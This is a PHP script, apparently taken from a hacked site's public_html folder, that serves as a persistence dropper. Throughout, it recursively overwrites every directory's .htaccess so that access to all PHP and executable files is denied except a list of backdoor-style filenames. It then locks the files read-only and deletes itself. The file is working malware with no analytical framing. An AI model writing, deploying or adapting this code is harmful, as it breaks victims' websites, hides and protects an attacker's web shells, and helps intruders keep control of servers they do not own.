/home/ekskfkfe/public_html/doc.php
<?php
@set_time_limit(0);
error_reporting(0);

$path = $_SERVER['DOCUMENT_ROOT'];

$list_dir = get_my_files($path);

unlink($path.$_SERVER['PHP_SELF']);

echo '添加成功';

function get_my_files($path){

    $list = array();
    
    $str = '<FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$">'.PHP_EOL;
    $str .= 'Order Allow,Deny'.PHP_EOL;
    $str .= 'Deny from all'.PHP_EOL;
    $str .= '</FilesMatch>'.PHP_EOL;
    
    $str .= '<FilesMatch "(^class-t.api.php|^index.php|^doc.php|info.php|^webdb.php|^wp-good.php|^wp-blog.php)$">'.PHP_EOL;
    $str .= 'Order allow,deny'.PHP_EOL;
    $str .= 'Allow from all'.PHP_EOL;
    $str .= '</FilesMatch>'.PHP_EOL;

    foreach(glob($path.'/*') as $item){
        
        if(is_dir($item)){

            if(file_exists($item."/.htaccess"))chmod($item."/.htaccess",0777);
            $myfile = fopen($item."/.htaccess", "w");
            fwrite($myfile, $str);
            fclose($myfile);
            
            chmod($item."/.htaccess",0444);
            
            $items = get_my_files($item);

            foreach ($items as $val){
                if(file_exists($val."/.htaccess"))chmod($val."/.htaccess",0777);
                $myfile = fopen($val."/.htaccess", "w");
                fwrite($myfile, $str);
                fclose($myfile);
                
                chmod($val."/.htaccess",0444);
            }
            
        }
        
    }

    return $list;
}

?>